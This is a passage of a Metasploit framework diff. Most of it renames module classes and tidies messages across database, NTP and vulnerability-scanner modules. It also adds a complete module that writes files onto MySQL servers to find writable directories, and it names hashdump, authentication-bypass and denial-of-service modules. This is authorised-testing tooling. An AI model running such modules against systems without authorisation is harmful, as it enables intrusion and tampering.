b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb index 525441c1c4..711fe24d98 100644 --- a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb +++ b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/msf/msf_rpc_login.rb b/modules/auxiliary/scanner/msf/msf_rpc_login.rb index 1f3100ec96..a6288c472b 100644 --- a/modules/auxiliary/scanner/msf/msf_rpc_login.rb +++ b/modules/auxiliary/scanner/msf/msf_rpc_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/msf/msf_web_login.rb b/modules/auxiliary/scanner/msf/msf_web_login.rb index 28cacb64af..485c406829 100644 --- a/modules/auxiliary/scanner/msf/msf_web_login.rb +++ b/modules/auxiliary/scanner/msf/msf_web_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index 5180dc687f..ee885cadbf 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report @@ -30,8 +30,8 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - if (not mssql_login_datastore) - print_error("#{rhost}:#{rport} - Invalid SQL Server credentials") + if !mssql_login_datastore + print_error("Invalid SQL Server credentials") return end @@ -110,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary :proto => 'tcp' ) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => 'MS SQL Server Hashes', 'Indent' => 1, 'Columns' => ['Username', 'Hash'] @@ -150,7 +150,7 @@ class Metasploit3 < Msf::Auxiliary login = create_credential_login(login_data) tbl << [row[0], row[1]] - print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}") + print_good("Saving #{hashtype} = #{row[0]}:#{row[1]}") end end @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Auxiliary is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0] if is_sysadmin == 0 - print_error("#{rhost}:#{rport} - The provided credentials do not have privileges to read the password hashes") + print_error("The provided credentials do not have privileges to read the password hashes") return nil end diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 6c07f9f3b8..96ff2394cb 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/mssql' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/mssql/mssql_ping.rb b/modules/auxiliary/scanner/mssql/mssql_ping.rb index 12078e523a..a15b4936ba 100644 --- a/modules/auxiliary/scanner/mssql/mssql_ping.rb +++ b/modules/auxiliary/scanner/mssql/mssql_ping.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index 628a8fdb86..d6145d54e0 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'yaml' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - if (not mssql_login_datastore) + if !mssql_login_datastore print_error("#{rhost}:#{rport} - Invalid SQL Server credentials") return end diff --git a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb index bcb1234c20..467a411311 100644 --- a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MYSQL include Msf::Auxiliary::Report @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %Q{ This module exploits a password bypass vulnerability in MySQL in order to extract the usernames and encrypted password hashes from a MySQL server. - These hashes ares stored as loot for later cracking. + These hashes are stored as loot for later cracking. }, 'Author' => [ 'theLightCosine', # Original hashdump module @@ -177,7 +177,7 @@ class Metasploit3 < Msf::Auxiliary end # Create a table to store data - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => 'MysQL Server Hashes', 'Indent' => 1, 'Columns' => ['Username', 'Hash'] diff --git a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb index f5b6bdbe5c..651777c43e 100644 --- a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb +++ b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'yaml' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MYSQL include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb index ce7c378756..001db59de4 100644 --- a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MYSQL include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index 97658016c6..96df43e074 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/mysql' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MYSQL include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb index ede601b57e..18553d0c99 100644 --- a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'yaml' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MYSQL include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/mysql/mysql_version.rb b/modules/auxiliary/scanner/mysql/mysql_version.rb index bde7d5c2b7..7b7ac8b677 100644 --- a/modules/auxiliary/scanner/mysql/mysql_version.rb +++ b/modules/auxiliary/scanner/mysql/mysql_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'MySQL Server Version Enumeration', 'Description' => %q{ - Enumerates the version of MySQL servers + Enumerates the version of MySQL servers. }, 'Author' => 'kris katterjohn', 'License' => MSF_LICENSE diff --git a/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb b/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb new file mode 100644 index 0000000000..2c335779e5 --- /dev/null +++ b/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::MYSQL + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'MYSQL Directory Write Test', + 'Description' => %Q{ + Enumerate writeable directories using the MySQL SELECT INTO DUMPFILE feature, for more + information see the URL in the references. ***Note: For every writable directory found, + a file with the specified FILE_NAME containing the text test will be written to the directory.*** + }, + 'Author' => [ 'AverageSecurityGuy ' ], + 'References' => [ + [ 'URL', 'https://dev.mysql.com/doc/refman/5.7/en/select-into.html' ] + ], + 'License' => MSF_LICENSE + ) + + register_options([ + OptPath.new('DIR_LIST', [ true, "List of directories to test", '' ]), + OptString.new('FILE_NAME', [ true, "Name of file to write", Rex::Text.rand_text_alpha(8) ]), + OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ]) + ]) + + end + + # This function does not handle any errors, if you use this + # make sure you handle the errors yourself + def mysql_query_no_handle(sql) + res = @mysql_handle.query(sql) + res + end + + def run_host(ip) + print_warning("For every writable directory found, a file called #{datastore['FILE_NAME']} with the text test will be written to the directory.") + print_status("Login...") + + unless mysql_login_datastore + print_error('Unable to login to the server.') + return + end + + File.read(datastore['DIR_LIST']).each_line do |dir| + check_dir(dir.chomp) + end + + end + + def check_dir(dir) + begin + print_status("Checking #{dir}...") + res = mysql_query_no_handle("SELECT _utf8'test' INTO DUMPFILE '#{dir}/" + datastore['FILE_NAME'] + "'") + rescue ::RbMysql::ServerError => e + print_warning(e.to_s) + rescue Rex::ConnectionTimeout => e + print_error("Timeout: #{e.message}") + else + print_good("#{dir} is writeable") + report_note( + :host => rhost, + :type => "filesystem.file", + :data => "#{dir} is writeable", + :port => rport, + :proto => 'tcp', + :update => :unique_data + ) + end + end + +end diff --git a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb index 5c21a67f68..c549f03e37 100644 --- a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb +++ b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb index ba12f61143..c9e8f5bb7b 100644 --- a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb @@ -8,7 +8,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/nessus/nessus_rest_login.rb b/modules/auxiliary/scanner/nessus/nessus_rest_login.rb index 88aef9dc9b..9cd685fe35 100644 --- a/modules/auxiliary/scanner/nessus/nessus_rest_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_rest_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/login_scanner/nessus' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute @@ -25,7 +25,6 @@ class Metasploit3 < Msf::Auxiliary 'DefaultOptions' => { 'SSL' => true, - 'SSLVersion' => 'TLS1' } )) register_options( @@ -33,6 +32,8 @@ class Metasploit3 < Msf::Auxiliary Opt::RPORT(8834), OptString.new('TARGETURI', [ true, 'The path to the Nessus server login API', '/session']), ], self.class) + + deregister_options('HttpUsername', 'HttpPassword') end diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb index e687f70ddf..295fe10f58 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb @@ -9,7 +9,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb index 412c93108b..aab6e9f514 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb @@ -9,7 +9,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/netbios/nbname.rb b/modules/auxiliary/scanner/netbios/nbname.rb index 64b9befe91..fa88313e53 100644 --- a/modules/auxiliary/scanner/netbios/nbname.rb +++ b/modules/auxiliary/scanner/netbios/nbname.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/netbios/nbname_probe.rb b/modules/auxiliary/scanner/netbios/nbname_probe.rb deleted file mode 100644 index fe990c8685..0000000000 --- a/modules/auxiliary/scanner/netbios/nbname_probe.rb +++ /dev/null @@ -1,299 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner - - def initialize - super( - 'Name' => 'NetBIOS Information Discovery Prober', - 'Description' => 'Discover host information using sequential NetBIOS Probes', - 'Author' => ['hdm', 'todb'], - 'License' => MSF_LICENSE - ) - - register_options( - [ - Opt::CHOST, - Opt::RPORT(137) - ], self.class) - end - - def rport - datastore['RPORT'].to_i - end - - # Fingerprint a single host - def run_host(ip) - - @thost = ip - - @results = {} - begin - udp_sock = nil - - # Create an unbound UDP socket if no CHOST is specified, otherwise - # create a UDP socket bound to CHOST (in order to avail of pivoting) - udp_sock = Rex::Socket::Udp.create( { - 'LocalHost' => datastore['CHOST'] || nil, - 'PeerHost' => ip, 'PeerPort' => rport, - 'Context' => {'Msf' => framework, 'MsfExploit' => self} - }) - add_socket(udp_sock) - - begin - data = create_netbios_status(ip) - udp_sock.put(data) - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - end - - while (r = udp_sock.recvfrom(65535, 0.1) and r[1]) - parse_reply(r) - end - - while (r = udp_sock.recvfrom(65535, 3) and r[1]) - parse_reply(r) - end - - # Second pass to find additional IPs per host name - - @results.keys.each do |ip| - next if not @results[ip][:name] - begin - data = create_netbios_lookup(@results[ip][:name]) - udp_sock.put(data) - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - end - - while (r = udp_sock.recvfrom(65535, 0.1) and r[1]) - parse_reply(r) - end - - end - - while (r = udp_sock.recvfrom(65535, 3) and r[1]) - parse_reply(r) - end - - rescue ::Interrupt - raise $! - rescue ::Errno::ENOBUFS - print_status("Socket buffers are full, waiting for them to flush...") - while (r = udp_sock.recvfrom(65535, 0.1) and r[1]) - parse_reply(r) - end - select(nil, nil, nil, 0.25) - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - end - - @results.keys.each do |ip| - next unless inside_workspace_boundary?(ip) - host = @results[ip] - user = "" - os = "Windows" - - if(host[:user] and host[:mac] != "00:00:00:00:00:00") - user = " User:#{host[:user]}" - end - - if(host[:mac] == "00:00:00:00:00:00") - os = "Unix" - end - - names = "" - if host[:names] - names = " Names:(" + host[:names].map{|n| n[0]}.uniq.join(", ") + ")" - end - - addrs = "" - if(host[:addrs]) - addrs = "Addresses:(" + host[:addrs].map{|n| n[0]}.uniq.join(", ") + ")" - end - - if(host[:mac] != "00:00:00:00:00:00") - report_host(:host => ip, :mac => host[:mac]) - else - report_host(:host => ip) - end - - extra = "" - - virtual = nil - case host[:mac] - when /^00:13:07/i - virtual = 'ParaVirtual' - when /^(00:1C:14|00:50:56|00:05:69|00:0c:29)/i - virtual = 'VMWare' - when /^00:1C:42/ - virtual = "Parallels" - when /^00:18:51/ - virtual = "SWsoft Virtuozzo" - when /^00:21:F6/i - virtual = 'Virtual Iron' - when /^00:16:3e/ - virtual = 'Xen' - when /^(54:52:00|DE:AD:BE)/ - virtual = 'QEMU (unofficial)' - when /^00:24:0B/i - virtual = 'Virtual Computer Inc' - end - - if(virtual) - extra = "Virtual Machine:#{virtual}" - report_note( - :host => ip, - :type => 'host.virtual_machine', - :data => {:vendor => virtual, :method => 'netbios'} - ) - end - - if(host[:addrs]) - aliases = [] - host[:addrs].map{|n| n[0]}.uniq.each do |addr| - next if addr == ip - aliases << addr - end - - if not aliases.empty? - report_note( - :host => ip, - :proto => 'udp', - :port => 137, - :type => 'netbios.addresses', - :data => {:addresses => aliases} - ) - end - end - - print_status("#{ip} [#{host[:name]}] OS:#{os}#{user}#{names} #{addrs} Mac:#{host[:mac]} #{extra}") - end - end - - - def parse_reply(pkt) - # Ignore "empty" packets - return if not pkt[1] - - addr = pkt[1] - if(addr =~ /^::ffff:/) - addr = addr.sub(/^::ffff:/, '') - end - - data = pkt[0] - - head = data.slice!(0,12) - - xid, flags, quests, answers, auths, adds = head.unpack('n6') - - return if quests != 0 - return if answers == 0 - - qname = data.slice!(0,34) - rtype,rclass,rttl,rlen = data.slice!(0,10).unpack('nnNn') - buff = data.slice!(0,rlen) - - names = [] - - hname = nil - uname = nil - - case rtype - when 0x21 - rcnt = buff.slice!(0,1).unpack("C")[0] - 1.upto(rcnt) do - tname = buff.slice!(0,15).gsub(/\x00.*/, '').strip - ttype = buff.slice!(0,1).unpack("C")[0] - tflag = buff.slice!(0,2).unpack('n')[0] - names << [ tname, ttype, tflag ] - hname = tname if ttype == 0x20 - uname = tname if ttype == 0x03 - end - maddr = buff.slice!(0,6).unpack("C*").map{|c| "%.2x" % c }.join(":") - - @results[addr] = { - :names => names, - :mac => maddr - } - - if (!hname and @results[addr][:names].length > 0) - @results[addr][:name] = @results[addr][:names][0][0] - end - - @results[addr][:name] = hname if hname - @results[addr][:user] = uname if uname - - inf = '' - names.each do |name| - inf << name[0] - inf << ":<%.2x>" % name[1] - if (name[2] & 0x8000 == 0) - inf << ":U :" - else - inf << ":G :" - end - end - inf << maddr - - if inside_workspace_boundary?(addr) - report_service( - :host => addr, - :mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil, - :host_name => (hname) ? hname.downcase : nil, - :port => pkt[2], - :proto => 'udp', - :name => 'netbios', - :info => inf - ) - end - when 0x20 - 1.upto(rlen / 6.0) do - tflag = buff.slice!(0,2).unpack('n')[0] - taddr = buff.slice!(0,4).unpack("C*").join(".") - names << [ taddr, tflag ] - end - @results[addr][:addrs] = names - end - end - - def create_netbios_status(ip) - data = - [rand(0xffff)].pack('n')+ - "\x00\x00\x00\x01\x00\x00\x00\x00"+ - "\x00\x00\x20\x43\x4b\x41\x41\x41"+ - "\x41\x41\x41\x41\x41\x41\x41\x41"+ - "\x41\x41\x41\x41\x41\x41\x41\x41"+ - "\x41\x41\x41\x41\x41\x41\x41\x41"+ - "\x41\x41\x41\x00\x00\x21\x00\x01" - - return data - end - - def create_netbios_lookup(name) - name = [name].pack("A15") + "\x00" - - data = - [rand(0xffff)].pack('n') + - "\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" + - "\x20" + - Rex::Proto::SMB::Utils.nbname_encode(name) + - "\x00" + - "\x00\x20\x00\x01" - - return data - end -end diff --git a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb index 0953d09cec..85d3d81a91 100644 --- a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb +++ b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb @@ -9,7 +9,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/nfs/nfsmount.rb b/modules/auxiliary/scanner/nfs/nfsmount.rb index fd2aee0706..aebc979928 100644 --- a/modules/auxiliary/scanner/nfs/nfsmount.rb +++ b/modules/auxiliary/scanner/nfs/nfsmount.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SunRPC include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/ntp/ntp_monlist.rb b/modules/auxiliary/scanner/ntp/ntp_monlist.rb index ba17c40926..a1cc544140 100644 --- a/modules/auxiliary/scanner/ntp/ntp_monlist.rb +++ b/modules/auxiliary/scanner/ntp/ntp_monlist.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Udp @@ -37,12 +37,12 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptInt.new('RETRY', [false, "Number of tries to query the NTP server", 3]), - OptBool.new('SHOW_LIST', [false, 'Show the recent clients list', 'false']) + OptBool.new('SHOW_LIST', [false, 'Show the recent clients list', false]) ], self.class) register_advanced_options( [ - OptBool.new('StoreNTPClients', [true, 'Store NTP clients as host records in the database', 'false']) + OptBool.new('StoreNTPClients', [true, 'Store NTP clients as host records in the database', false]) ], self.class) end diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index 104e73a527..3c9fd1e670 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb index c2d7653db8..ed78121c35 100644 --- a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb index 900c9b7fad..47e78484c0 100644 --- a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/scanner/ntp/ntp_readvar.rb b/modules/auxiliary/scanner/ntp/ntp_readvar.rb index 98cb2a0d4c..1da9bb99e7 100644 --- a/modules/auxiliary/scanner/ntp/ntp_readvar.rb +++ b/modules/auxiliary/scanner/ntp/ntp_readvar.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Udp include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb index f31ee5f258..1e32c29acd 100644 --- a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb index eb4ebbc44a..f83e1350f8 100644 --- a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb index 9913e40b1c..3e94f7c34e 100644 --- a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb index 0d0e0d3916..d4cc0f4256 100644 --- a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb index c778ba15ca..15c51b99d2 100644 --- a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb @@ -4,7 +4,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb index fbf870fb2d..e215288450 100644 --- a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/oracle/emc_sid.rb b/modules/auxiliary/scanner/oracle/emc_sid.rb index f72286bd28..87737d307d 100644 --- a/modules/auxiliary/scanner/oracle/emc_sid.rb +++ b/modules/auxiliary/scanner/oracle/emc_sid.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/oracle/isqlplus_login.rb b/modules/auxiliary/scanner/oracle/isqlplus_login.rb index fa717b7ec0..d96b46579d 100644 --- a/modules/auxiliary/scanner/oracle/isqlplus_login.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb index e3ba450180..9c936d3938 100644 --- a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb index c3a0442d33..3735239b95 100644 --- a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb +++ b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE include Msf::Auxiliary::Report @@ -55,7 +55,7 @@ class 